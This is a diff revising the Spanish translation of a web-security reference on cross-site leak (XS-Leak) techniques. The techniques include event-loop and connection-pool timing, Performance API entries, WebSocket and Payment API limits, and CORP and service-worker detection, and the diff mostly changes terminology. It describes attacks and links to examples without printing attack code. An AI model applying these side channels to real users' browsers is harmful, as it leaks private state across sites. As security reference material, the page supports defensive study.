+- **Summary**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (que indica éxito o error) y el `Content-Type` (que indica si está protegido por **CORB**), lo que lleva a una posible fuga de información.
 - **Code Example**:
 
 Consulta el enlace de más información para obtener más información sobre el ataque.
@@ -172,7 +172,7 @@ Consulta el enlace de más información para obtener más información sobre el
 ### onblur
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
 - **Summary**: Filtrar datos sensibles del atributo id o nombre.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
@@ -190,36 +190,36 @@ Puedes realizar el mismo ataque con etiquetas **`portal`**.
 
 Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
 
-## Global Limits Techniques
+## Técnicas de Límites Globales
 
-### WebSocket API
+### API de WebSocket
 
 - **Inclusion Methods**: Frames, Pop-ups
 - **Detectable Difference**: Uso de API
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Agotar el límite de conexiones WebSocket filtra el número de conexiones WebSocket de una página de origen cruzado.
+- **Summary**: Agotar el límite de conexión de WebSocket filtra el número de conexiones de WebSocket de una página de origen cruzado.
 - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
-Es posible identificar si, y cuántas, **conexiones WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.
+Es posible identificar si, y cuántas, **conexiones de WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
 
-Si un **origen** utiliza la **máxima cantidad de objetos de conexión WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que la web objetivo se haya cargado, intenta crear el máximo número de conexiones WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo**.
+Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado la web objetivo, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
 
-### Payment API
+### API de Pago
 
 - **Inclusion Methods**: Frames, Pop-ups
 - **Detectable Difference**: Uso de API
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
+- **Summary**: Detectar la solicitud de pago porque solo una puede estar activa a la vez.
 - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
-Esta XS-Leak permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
+Esta fuga XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
 
-Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de mostrar esta API fallará**, y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
+Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallará**, y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
 
-### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### Temporización del Bucle de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
+- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
 - **Summary:** Medir el tiempo de ejecución de una web abusando del bucle de eventos JS de un solo hilo.
 - **Code Example**:
@@ -231,25 +231,25 @@ xs-search/event-loop-blocking-+-lazy-images.md
 JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), lo que significa que **solo puede ejecutar una tarea a la vez**. Esta característica puede ser explotada para medir **cuánto tiempo tarda en ejecutarse el código de un origen diferente**. Un atacante puede medir el tiempo de ejecución de su propio código en el bucle de eventos enviando continuamente eventos con propiedades fijas. Estos eventos se procesarán cuando el grupo de eventos esté vacío. Si otros orígenes también están enviando eventos al mismo grupo, un **atacante puede inferir el tiempo que tardan en ejecutarse estos eventos externos al observar retrasos en la ejecución de sus propias tareas**. Este método de monitoreo del bucle de eventos para retrasos puede revelar el tiempo de ejecución del código de diferentes orígenes, exponiendo potencialmente información sensible.
 
 > [!WARNING]
-> En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
+> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
 
-### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
+### Bucle de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
+- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
 - **Summary:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API síncrona) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
 - **Code Example**:
 
-Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en el tiempo de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos del otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras protectoras establecidas por **Site Isolation**.
+Una ventaja significativa de la técnica de medir el tiempo de ejecución bloqueando el bucle de eventos es su potencial para eludir **Site Isolation**. **Site Isolation** es una característica de seguridad que separa diferentes sitios web en procesos separados, con el objetivo de evitar que sitios maliciosos accedan directamente a datos sensibles de otros sitios. Sin embargo, al influir en la temporización de ejecución de otro origen a través del bucle de eventos compartido, un atacante puede extraer indirectamente información sobre las actividades de ese origen. Este método no depende del acceso directo a los datos de otro origen, sino que observa el impacto de las actividades de ese origen en el bucle de eventos compartido, eludiendo así las barreras de protección establecidas por **Site Isolation**.
 
 > [!WARNING]
-> En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
+> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
 
-### Connection Pool
+### Pool de Conexiones
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
+- **Inclusion Methods**: Solicitudes de JavaScript
+- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 - **Summary:** Un atacante podría bloquear todos los sockets excepto 1, cargar la web objetivo y al mismo tiempo cargar otra página, el tiempo hasta que la última página comience a cargar es el tiempo que la página objetivo tardó en cargar.
 - **Code Example**:
@@ -263,163 +263,163 @@ Los navegadores utilizan sockets para la comunicación con el servidor, pero deb
 1. Determinar el límite de sockets del navegador, por ejemplo, 256 sockets globales.
 2. Ocupando 255 sockets durante un período prolongado iniciando 255 solicitudes a varios hosts, diseñadas para mantener las conexiones abiertas sin completarse.
 3. Utilizar el socket 256 para enviar una solicitud a la página objetivo.
-4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud proceda proporciona al atacante información de tiempo sobre la actividad de red relacionada con el socket 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket que se vuelva disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está, por lo tanto, directamente relacionado con el tiempo que se requiere para que la solicitud a la página objetivo se complete.
+4. Intentar una solicitud 257 a un host diferente. Dado que todos los sockets están en uso (según los pasos 2 y 3), esta solicitud se encolará hasta que un socket esté disponible. La demora antes de que esta solicitud avance proporciona al atacante información de temporización sobre la actividad de red relacionada con el socket 256 (el socket de la página objetivo). Esta inferencia es posible porque los 255 sockets del paso 2 aún están ocupados, lo que implica que cualquier socket que se vuelva disponible debe ser el que se liberó del paso 3. El tiempo que tarda el socket 256 en estar disponible está directamente relacionado con el tiempo que tardó en completarse la solicitud a la página objetivo.
 
 Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
-### Connection Pool by Destination
+### Pool de Conexiones por Destino
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
+- **Inclusion Methods**: Solicitudes de JavaScript
+- **Detectable Difference**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
 - **More info**:
-- **Summary:** Es como la técnica anterior, pero en lugar de usar todos los sockets, Google **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **medir** el tiempo y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
+- **Summary:** Es como la técnica anterior, pero en lugar de usar todos los sockets, Google **Chrome** impone un límite de **6 solicitudes concurrentes al mismo origen**. Si **bloqueamos 5** y luego **lanzamos una 6ta** solicitud, podemos **temporizarla** y si logramos hacer que la **página víctima envíe** más **solicitudes** al mismo endpoint para detectar un **estado** de la **página**, la **6ta solicitud** tomará **más tiempo** y podemos detectarlo.
 
-## Performance API Techniques
+## Técnicas de API de Rendimiento
 
-La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de las solicitudes de red detalladamente, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
+La [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) ofrece información sobre las métricas de rendimiento de las aplicaciones web, enriquecida aún más por la [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). La Resource Timing API permite monitorear los tiempos de solicitud de red detallados, como la duración de las solicitudes. Notablemente, cuando los servidores incluyen el encabezado `Timing-Allow-Origin: *` en sus respuestas, se vuelve disponible información adicional como el tamaño de transferencia y el tiempo de búsqueda de dominio.
 
-Esta riqueza de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución calculando la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de tiempo.
+Esta abundancia de datos se puede recuperar a través de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), proporcionando una vista completa de la información relacionada con el rendimiento. Además, la API facilita la medición de los tiempos de ejecución calculando la diferencia entre las marcas de tiempo obtenidas de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Sin embargo, vale la pena señalar que para ciertas operaciones en navegadores como Chrome, la precisión de `performance.now()` puede estar limitada a milisegundos, lo que podría afectar la granularidad de las mediciones de temporización.
 
-Más allá de las mediciones de tiempo, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
+Más allá de las mediciones de temporización, la Performance API puede ser aprovechada para obtener información relacionada con la seguridad. Por ejemplo, la presencia o ausencia de páginas en el objeto `performance` en Chrome puede indicar la aplicación de `X-Frame-Options`. Específicamente, si una página está bloqueada de renderizarse en un marco debido a `X-Frame-Options`, no se registrará en el objeto `performance`, proporcionando una pista sutil sobre las políticas de enmarcado de la página.
 
-### Error Leak
+### Fuga de Errores
 
 - **Inclusion Methods**: Frames, HTML Elements
-- **Detectable Difference**: Código de Estado
+- **Detectable Difference**: Código de estado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Una solicitud que resulta en errores no creará una entrada de tiempo de recursos.
+- **Summary:** Una solicitud que resulta en errores no creará una entrada de temporización de recursos.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
 Es posible **diferenciar entre códigos de estado de respuesta HTTP** porque las solicitudes que conducen a un **error** **no crean una entrada de rendimiento**.
 
-### Style Reload Error
+### Error de Recarga de Estilo
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Estado
+- **Detectable Difference**: Código de estado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Debido a un error del navegador, las solicitudes que resultan en errores se cargan dos veces.
 - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
 En la técnica anterior también se identificaron dos casos donde errores del navegador en GC llevan a que **los recursos se carguen dos veces cuando fallan en cargar**. Esto resultará en múltiples entradas en la API de Rendimiento y puede ser detectado.
 
-### Request Merging Error
+### Error de Fusión de Solicitudes
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Estado
+- **Detectable Difference**: Código de estado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
 - **Summary:** Las solicitudes que resultan en un error no pueden ser fusionadas.
 - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
 La técnica se encontró en una tabla en el documento mencionado, pero no se encontró ninguna descripción de la técnica en él. Sin embargo, puedes encontrar el código fuente verificándolo en [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-### Empty Page Leak
+### Fuga de Página Vacía
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Las respuestas vacías no crean entradas de tiempo de recursos.
+- **Summary:** Las respuestas vacías no crean entradas de temporización de recursos.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
 Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque **las páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
 
-### **XSS-Auditor Leak**
+### **Fuga del Auditor XSS**
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Usando el XSS Auditor en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
+- **Summary:** Usando el Auditor XSS en Aserciones de Seguridad, los atacantes pueden detectar elementos específicos de la página web al observar alteraciones en las respuestas cuando cargas útiles diseñadas activan el mecanismo de filtrado del auditor.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-En Aserciones de Seguridad (SA), el XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el XSS Auditor podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el XSS Auditor en GC, se descubrió que en SA, las páginas bloqueadas por el XSS Auditor no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
+En Aserciones de Seguridad (SA), el Auditor XSS, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), puede ser explotado paradójicamente para filtrar información sensible. Aunque esta función incorporada fue eliminada de Google Chrome (GC), todavía está presente en SA. En 2013, Braun y Heiderich demostraron que el Auditor XSS podría bloquear inadvertidamente scripts legítimos, llevando a falsos positivos. Basándose en esto, los investigadores desarrollaron técnicas para extraer información y detectar contenido específico en páginas de origen cruzado, un concepto conocido como XS-Leaks, inicialmente reportado por Terada y elaborado por Heyes en una publicación de blog. Aunque estas técnicas eran específicas para el Auditor XSS en GC, se descubrió que en SA, las páginas bloqueadas por el Auditor XSS no generan entradas en la API de Rendimiento, revelando un método a través del cual la información sensible podría seguir siendo filtrada.
 
-### X-Frame Leak
+### Fuga de X-Frame
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Encabezado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Summary:** Un recurso con encabezado X-Frame-Options no crea una entrada de tiempo de recursos.
+- **Summary:** Un recurso con encabezado X-Frame-Options no crea una entrada de temporización de recursos.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
 Si una página **no está permitida** para ser **renderizada** en un **iframe**, no **crea una entrada de rendimiento**. Como resultado, un atacante puede detectar el encabezado de respuesta **`X-Frame-Options`**.\
 Lo mismo ocurre si usas una etiqueta **embed**.
 
-### Download Detection
+### Detección de Descargas
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Encabezado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Las descargas no crean entradas de tiempo de recursos en la API de Rendimiento.
+- **Summary:** Las descargas no crean entradas de temporización de recursos en la API de Rendimiento.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
-Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
+Similar a la fuga XS descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, también **no crea una entrada de rendimiento**. Esta técnica funciona en todos los navegadores principales.
 
-### Redirect Start Leak
+### Fuga de Inicio de Redirección
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Redirección
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** La entrada de tiempo de recursos filtra el tiempo de inicio de una redirección.
+- **Summary:** La entrada de temporización de recursos filtra el tiempo de inicio de una redirección.
 - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de tiempo de redirección**.
+Encontramos una instancia de fuga XS que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página objetivo, consultando la **API de Rendimiento** y verificando los **datos de temporización de redirectStart**.
 
-### Duration Redirect Leak
+### Fuga de Duración de Redirección
 
 - **Inclusion Methods**: Fetch API
 - **Detectable Difference**: Redirección
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** La duración de las entradas de tiempo es negativa cuando ocurre una redirección.
+- **Summary:** La duración de las entradas de temporización es negativa cuando ocurre una redirección.
 - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
 En GC, la **duración** para solicitudes que resultan en una **redirección** es **negativa** y puede ser **distingida** de solicitudes que no resultan en una redirección.
 
-### CORP Leak
+### Fuga de CORP
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Encabezado
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Los recursos protegidos con CORP no crean entradas de tiempo de recursos.
+- **Summary:** Los recursos protegidos con CORP no crean entradas de temporización de recursos.
 - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
-En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, el nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
+En algunos casos, la entrada **nextHopProtocol** puede ser utilizada como una técnica de fuga. En GC, cuando se establece el **encabezado CORP**, nextHopProtocol estará **vacío**. Ten en cuenta que SA no creará una entrada de rendimiento en absoluto para recursos habilitados para CORP.
 
-### Service Worker
+### Worker de Servicio
 
 - **Inclusion Methods**: Frames
 - **Detectable Difference**: Uso de API
 - **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
-- **Summary:** Detectar si un service worker está registrado para un origen específico.
+- **Summary:** Detectar si un worker de servicio está registrado para un origen específico.
 - **Code Example**:
 
-Los service workers son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
-Si un **recurso almacenado en caché** por un **service worker** es accedido a través de **iframe**, el recurso será **cargado desde la caché del service worker**.\
-Para detectar si el recurso fue **cargado desde la caché del service worker**, se puede utilizar la **API de Rendimiento**.\
-Esto también podría hacerse con un ataque de Tiempo (consulta el documento para más información).
+Los workers de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web fuera de línea.\
+Si un **recurso almacenado en caché** por un **worker de servicio** es accedido a través de **iframe**, el recurso será **cargado desde la caché del worker de servicio**.\
+Para detectar si el recurso fue **cargado desde la caché del worker de servicio**, se puede utilizar la **API de Rendimiento**.\
+Esto también podría hacerse con un ataque de temporización (consulta el documento para más información).
 
-### Cache
+### Caché
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Tiempo
+- **Detectable Difference**: Temporización
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
-- **Summary:** Es posible verificar si un recurso fue almacenado en la caché.
+- **Summary:** Es posible verificar si un recurso fue almacenado en caché.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
 Usando la [API de Rendimiento](xs-search.md#performance-api) es posible verificar si un recurso está en caché.
 
-### Network Duration
+### Duración de la Red
 
 - **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
-- **Summary:** Es posible recuperar la duración de la red de una solicitud desde la API `performance`.
+- **Summary:** Es posible recuperar la duración de la red de una solicitud desde la API de `performance`.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
-## Error Messages Technique
+## Técnica de Mensajes de Error
 
-### Media Error
+### Error de Medios
 
 - **Inclusion Methods**: HTML Elements (Video, Audio)
-- **Detectable Difference**: Código de Estado
+- **Detectable Difference**: Código de estado
 - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
 - **Summary:** En Firefox es posible filtrar con precisión el código de estado de una solicitud de origen cruzado.
 - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
@@ -553,7 +553,7 @@ Consulta el enlace para más información sobre el ataque.
